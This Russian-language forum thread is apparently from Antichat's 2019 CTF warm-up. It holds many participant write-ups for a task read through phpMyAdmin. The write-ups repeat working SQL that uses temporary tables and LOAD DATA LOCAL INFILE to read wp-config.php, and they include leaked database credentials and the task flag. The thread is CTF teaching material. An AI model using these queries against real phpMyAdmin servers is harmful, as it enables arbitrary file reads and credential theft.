 |
|

08.02.2019, 01:55
|
|
Познавший АНТИЧАТ
Регистрация: 09.05.2015
Сообщений: 1,066
С нами:
5797046
Репутация:
40
|
|
Сообщение от t0ma5
↑
ну и херово, ктф развивают навыки, убивают мышление
!=FALSE
|
|
|

08.02.2019, 08:25
|
|
Участник форума
Регистрация: 23.03.2017
Сообщений: 265
С нами:
4812086
Репутация:
119
|
|
Сообщение от t0ma5
↑
ахах я чекаю
и спустя 10 лет буду чекать. слово "чекер" увидел тригер сработал)? сколько сайтов видел где разраб настолько глуп чтобы оставлять бекапные файлы и настраивать какую то логику запросов чтобы они не читались? я пока не одного
вообще я просто скинул два скрипта, как и где их использовать это дело каждого
если человек сразу запускает брутер, то это не человек, а обезьяна, как минимум должен быть минимальный обзор, что за технологии юзает сайт, шаред это или вдс, часовой пояс. это банальный минимум
Вот это тебя бомбануло.
Спорить не буду, у каждого свой опыт, о своем я написал, не стоит его воспринимать так близко к сердцу.
|
|
|

08.02.2019, 08:27
|
|
Участник форума
Регистрация: 23.03.2017
Сообщений: 265
С нами:
4812086
Репутация:
119
|
|
А тем временем таск подходит к концу, не забываем, что это последнее задание из конкретно простых, и то, сколько было эмоций и пригоревших жоп.
Я уже в ожидании конкретно сложного таска
|
|
|

08.02.2019, 14:41
|
|
Новичок
Регистрация: 18.12.2018
Сообщений: 3
С нами:
3897686
Репутация:
7
|
|
Прошел. Теперь я знаю немножечко больше.
|
|
|

09.02.2019, 23:10
|
|
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами:
4931606
Репутация:
138
|
|
Закрываем задание.
Первым делом нужно было найти "дверь".
Это phpmyadmin.
И дверь и "ключи" к ней можно найти без сканеров и брута.
Но на первый взгляд, если это и дверь, то ведет она в тупик, поскольку права у доступных учеток сильно порезаны.
И даже такой привычный инструмент, как load data local infile задействовать не получается, поскольку нет доступных таблиц и привилегий CREATE TABLE и INSERT.
При всей первоначально кажущейся неприступности, решение становится очевидным, когда понимаем, что существуют еще и временные таблицы, и права на работу с ними выставляются отдельно, и в данном случае права имеются.
Работать с временными таблицами почти так же удобно, как и с постоянными.
Единственное отличие - существуют они только на время сеанса, поэтому все операции нужно производить единым блоком, в одном сеансе.
В ПМА несколько запросов можно выполнить за один вызов, разделяя их точкой с запятой.
Проблемы с чтением локальных файлов исчезают.
Читаем конфиг Вордпресса, (расположен он в дефолтном месте, да и относительные пути подойдут - на каталог выше) и авторизуемся в ПМА с учеткой сайта.
Видим в базе табличку wp_task, в ней поле flag - конец истории.
Как можно было выйти на эти самые временные таблицы.
Мысли, они текут разными путями, но самым простым и естественным способом - задействовать штатные средства, команду "SHOW GRANTS", которая и показывает, какие права у нас есть.
Кто шел не первым, мог посмотреть статистику запросов - тоже хорошая подсказка.
Собственно решение умещается в три строчки, которые нужно выполнить в окне SQL запросов.
.SpoilerTarget" type="button">Spoiler: Прохождения
Сообщение от crlf
↑
Привет. Никогда с таким не сталкивался, но вроде всё логично)
Код:
/phpmyadmin/config.inc.php.bak
Код:
$cfg['Servers'][$i]['user'] = 'my';
$cfg['Servers'][$i]['password'] = 'asdn6YUTqwv';
Код:
USE test;
CREATE TEMPORARY TABLE xxx (
xxx varchar(2000)
);
LOAD DATA LOCAL INFILE '/var/www/html/wp-config.php' INTO TABLE xxx FIELDS TERMINATED BY '\n';
SELECT * FROM xxx LIMIT 0,1000;
Код:
define('DB_USER', 'task');
/** Пароль к базе данных MySQL */
define('DB_PASSWORD', 'qlwkeju8Uyqmwepok$RR');
Код:
51febb216a8363cf246338857349e299
Здоровский лайтовенький таск, обожаю такие, спасибо!
Сообщение от l1ght
↑
1. 403 wp-admin,регистрация закрыта (в т.ч. через rest api),даже комменты вываливаются с 500ise. nmap исключает всевозможные варианты с кривыми настройками nginx-php+fpm,mysql итд - остается что - бекапы,конфиги - запускаем скан - находим pma пробуем root:root, pma
mapass
2. в пма урезанные права. я привык к класическому load data local infile,прав на create table в существующих бд нет поэтому
берем любую таблицу, например index_statistics у которой три колонки с varchar(192) на основе нее создаем временную и читаем конфиг вп
create temporary table s select * information_schema.index_statistics;load data local infile '../wp-config.php' into table s fields terminated by '\n';select * from s;
task:qlwkeju8Uyqmwepok$RR
3.заходим под учеткой вп, 51febb216a8363cf246338857349e299 (task3) флаг
Сообщение от Gorbachev
↑
Флаг: 51febb216a8363cf246338857349e299
Даа, это действительно легко, просто как два пальца. Знатно вы нас затроллили.
PMA я нашел сканнером, и не смотря на то, что догадался просканить ещё и PMA директорию, ничего не нашел по стандартным листам для поиска файлов.
С подсказкой ясное дело в PMA вошел, но там снова меня ждала развилка, с одной стороны вроде бы load_file() работает, но толком не определить, есть ли запрет для пользователя, или просто пути до файлов подобрать не могу. Да и путей у меня не было, хотя их тоже активно пытался найти.
Конечно я обратил внимание, что есть пустая база даных, и помня ваши слова, что никаких запутанных механизмов нет, понял, что тут что то не так, но про трюк с LOAD DATA LOCAL INFILE я не знал.
Я догадался выполнить команду Grants for my@localhost и там сразу бросается в глаза вот это разрешение temp таблиц, ну а дальше загуглил эту тему, и вышел на способ LOAD DATA LOCAL INFILE, и вбив /etc/passwd увидел ошибку open_basedir, а это не мускуль ошибка, тут всё стало понятно, попробовал ./index.php и он мне вывел содержимое файла, а дальше всё просто, добираюсь до конфига вп, лезу в него, на таблицу wp_task и не обратил внимание. Пасс у dooble небрутабелен (бегло на cmd5 глянул), поэтому заменил на свой, думал, что дефейснув сайт и получу флаг, причем! Честно скажу, у меня вылетел из головы момент, что через PMA тупо отредактировать пост можно было, я залогинился, из под юзверя не получилось ничего, я сдуру опять в REST API полез, пытаясь отредактировать пост. Ну дальше через PMA отредактировал, флага не нашёл, что вызвало удивление, в wp_posts куча всяких непонятных хеш тегов было, там не увидел, потом начал проходиться по таблицам и наткнулся на таблицу wp_task, всё.
Сообщение от MichelleBoxing
↑
решение
phpmyadmin нашел сразу, но пароли разные дефолтные не работали,
пошел ковырять rest ниче не получалось, решил поставить Phpmyadmin посмотреть какие файлы он по дефолту ставит и нашел там pma/pmapass
после входа в phpmyadmin ничего не получалось, прав не хватало на все что пробовал, не знал за что браться, что ковырять
пробовал всякую муть, но потом понял что версия относительно свежая и ничего в phpmyadmin это не сработает
прочекал версию, начал гуглить и была уязвимость на 4.8.1 (но я так понял она на предыдущих версиях не работает
https://www.vulnspy.com/phpmyadmin-4.8.1/
)
много еще всякой мути пробовал, вчера взял перерыв. После вчерашних сообщений от G G в Lvl8 чате что у него полулилось, вдохновленный решил дальше пробовать.
Как подсказал G G в чате, что все гуглиться решил что нужно еще раз попробовать покрутить эту cve на 4.8.1 с файлом сессии (возможно пути не правильные были...)
Зашел в phpmyadmin сегодня, на первой же странице мне говорит что мол, обновить до 4.8.5 и посмотри что там нового.
Перехожу по ссылке и он мне портянку выдает исправлений среди них * Arbitrary file read vulnerability (
https://www.phpmyadmin.net/security/PMASA-2019-1
)
а там про LOAD DATA INFILE а я ее до этого пробовал но не получилось. Почитал внимательно и узнал про LOCAL, охуел как давно эта фишка существует )
пошел проверят на таске все что начитался.
Ранее когда смотрел уже понял что в таблицы писать я не могу (ну не факт на самом деле), но есть возможность создавать временные таблицы
пошел гуглить как это делается и в итоге получилось с таким запросом прочитать конфиг вордпреса
CREATE TEMPORARY TABLE new_tbl as select * from information_schema.views;
load data local infile '../wp-config.php' into table test.new_tbl;
select * from test.new_tbl limit 100
флаг 51febb216a8363cf246338857349e299
Таск супер!!! спасибо
сорри за много букав )
Сообщение от grimnir
↑
1)google pma escalation privilege
2)
гугл
https://www.experts-exchange.com/que...mp-tables.html
3)
отсюда отталкивался
show grants for 'my'@'localhost'
4)
CREATE TEMPORARY TABLE TEMP
(
USERNAME VARCHAR(50) NOT NULL,
PASSWORD VARCHAR(50) NOT NULL,
EMAIL varchar(100),
TYPE_USER INT
);
LOAD DATA LOCAL INFILE '/var/www/html/index.php' INTO TABLE TEMP;
SELECT * FROM TEMP;
5)==============
CREATE TEMPORARY TABLE TEMP
(
USERNAME VARCHAR(50) NOT NULL,
PASSWORD VARCHAR(50) NOT NULL,
EMAIL varchar(100),
TYPE_USER INT
);
LOAD DATA LOCAL INFILE '/var/www/html/wp-config.php' INTO TABLE TEMP
FIELDS TERMINATED BY ','
ENCLOSED BY '"'
LINES TERMINATED BY '\r\n'
IGNORE 1 LINES;
SELECT * FROM TEMP;
6)define('DB_USER' 'task'); NULLNULL
define('DB_PASS 'qlwkeju8Uyqmwepok$RR');
============
7)wp-task
flag: 51febb216a8363cf246338857349e299
Сообщение от p4ulinho
↑
прочитал конфиг вп через пма под юзером my:
create TEMPORARY table temp (text varchar(255) not null);
load data local infile '../wp-config.php' into table temp;
select * from temp limit 25,30;
под найденными данными учетки прочитал флаг из таблицы wp_task
Сообщение от ZodiaX
↑
YO!
use test;
CREATE TEMPORARY TABLE temp(content text);
LOAD DATA LOCAL INFILE '../wp-config.php' INTO TABLE temp FIELDS TERMINATED BY '\n';
SELECT * FROM temp LIMIT 0, 500;
логинимся в pma под task'ом и читаем флаг 51febb216a8363cf246338857349e299
Сообщение от =HALK=
↑
1) Находим PMA по адресу
http://task.antichat.com:10003/phpmyadmin/
2) Подбираем креды
pma
:
pmapass
3) Выполняем запрос на чтение конфига WP:
Код:
CREATE TEMPORARY TABLE temp(content text);
LOAD DATA LOCAL INFILE '/var/www/html/wp-config.php' INTO TABLE temp;
SELECT * FROM temp;
4) Находим в нём доступы к базе
Код:
define('DB_USER', 'task');
define('DB_PASSWORD', 'qlwkeju8Uyqmwepok$RR');
5) Подключаемся через PMA и видим таблицу
wp_task
, в которой флежит флаг
51febb216a8363cf246338857349e299
Сообщение от Cybersteger
↑
Привет, интересный таск) кто мани читает то пройдет
flag
51febb216a8363cf246338857349e299
CREATE TEMPORARY TABLE test.tempDelete (a text);
LOAD DATA LOCAL INFILE '/var/www/html/wp-config.php' INTO TABLE test.tempDelete FIELDS TERMINATED BY '\n';
SELECT * FROM test.tempDelete;
нужно убрать подсказку =
http://task.antichat.com:10003/phpmy...us_queries.php
Сообщение от redscout
↑
Привет, решение таска
После авторизации в phpmyadmin был осуществлен запрос на чтение файла wp-config.php
create temporary table new_tbl (kokoko varchar(10000));load data local infile '/var/www/html/wp-config.php' into table new_tbl fields terminated by '\n';select * from new_tbl;
Была обнаружена учетная запись task:qlwkeju8Uyqmwepok$RR с которой удалось успешно авторизоваться в phpmyadmin и найти флаг в таблице wp_task
Ответ: flag:51febb216a8363cf246338857349e299
Сообщение от gurux13
↑
Привет!
task3. Флаг 51febb216a8363cf246338857349e299
Получил так:
- Читаем config.inc.php.bak, видим пароль на my
- phpmyadmin старый и позволяет делать load data local infile.
Делаем sql:
create TEMPORARY table t (x
text
);
load data local infile '../wp-config.php' into table t (x);
select
* from t limit 10000
Видим содержимое wp-config. Там пароль на нормальную базу. В ней флаг.
Сообщение от Franky_T
↑
привет!
По поводу таска. Доступ к phpmyadmin через config.inc.php.bak, там креды для подключения пользователя my.
Дальше узнаем через show grants привилегии и понимаем, что можем создавать только временные таблицы. Кроме того, видим, что phpmyadmin очень хочет обновиться и идем гуглить, что там было. находим
https://www.phpmyadmin.net/security/PMASA-2019-1
делаем составной запрос, в котором создаем временную базу и пытаемся понять, можем ли просматривать содержимое файлов. Можем, как-то так:
create temporary table fr (x text); LOAD DATA local infile "config.inc.php.bak" into table test.fr; select * from test.fr;
Читается. Дальше преодолеваем ступор и видим Вашу подсказку на форуме про то, что база вордпресса лежит здесь же, а значит, и конфигурационный файл его тоже здесь. Ищем wp-config.php на уровень выше, он успешно читается, находим в нем
define('DB_USER', 'task');
/** Пароль к базе данных MySQL */
define('DB_PASSWORD', 'qlwkeju8Uyqmwepok$RR');
переподключаемся с этими кредами. Видим, что права уже совсем другие, ну и флаг в базе тоже видим: 51febb216a8363cf246338857349e299
Спасибо, очень крутой таск. Долго-долго морочил голову и лишал сна) и добавил знаний по MySQL, потому что пока доперла, что надо посмотреть, из-за чего он обновляется, перековыряла кучу статей)
Сообщение от unstppbl
↑
flag:51febb216a8363cf246338857349e299
Тупил несколько дней, статью про LOAD DATA INFILE видел, но не допёр сразу.
Загрузил wp-config в temporary table и сделал оттуда select, получил креды к бд, и в таблице wp_task лежал флаг.
SQL запросы:
CREATE TEMPORARY TABLE phpmyadmin.test(data TEXT);
LOAD DATA LOCAL INFILE '/var/www/html/wp-config.php' INTO TABLE phpmyadmin.test;
SELECT data FROM phpmyadmin.test
Креды к бд:
define('DB_NAME', 'wordpress');
define('DB_USER', 'task');
define('DB_PASSWORD', 'qlwkeju8Uyqmwepok$RR');
|
|
|

09.02.2019, 23:38
|
|
Участник форума
Регистрация: 23.03.2017
Сообщений: 265
С нами:
4812086
Репутация:
119
|
|
Разминочные задания окончены, теперь готовимся к основным таскам.
PS: по поводу пути /var/www/html/ не догоняю, просто взяли его из прочитанных .php скриптов, или до трюка с LOAD DATA LOCAL где то раскрытие путей обнаружили?
PPS: альтернативных решений таска не найдено ни одного?
|
|
|

10.02.2019, 00:42
|
|
Новичок
Регистрация: 29.08.2016
Сообщений: 8
С нами:
5108726
Репутация:
6
|
|
Сообщение от Gorbachev
↑
Разминочные задания окончены, теперь готовимся к основным таскам.
PS: по поводу пути /var/www/html/ не догоняю, просто взяли его из прочитанных .php скриптов, или до трюка с LOAD DATA LOCAL где то раскрытие путей обнаружили?
PPS: альтернативных решений таска не найдено ни одного?
/var/www/html/ - дефолтный путь веб-сервера в никсах.
|
|
|

10.02.2019, 02:29
|
|
Постоянный
Регистрация: 18.03.2016
Сообщений: 660
С нами:
5344886
Репутация:
441
|
|
Сообщение от Gorbachev
↑
PPS: альтернативных решений таска не найдено ни одного?
RCE в пятаке решили публично не оглашать
|
|
|

10.02.2019, 02:57
|
|
Познавший АНТИЧАТ
Регистрация: 09.05.2015
Сообщений: 1,066
С нами:
5797046
Репутация:
40
|
|
|
|
|

10.02.2019, 07:53
|
|
Участник форума
Регистрация: 12.07.2009
Сообщений: 158
С нами:
8859263
Репутация:
334
|
|
Не знал, что временная таблица будет существовать в том случае, если сделать несколько запросов через ;
Жаль, был на верном пути в какой-то момент.
Таск крутой)
|
|
|
|
 |
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|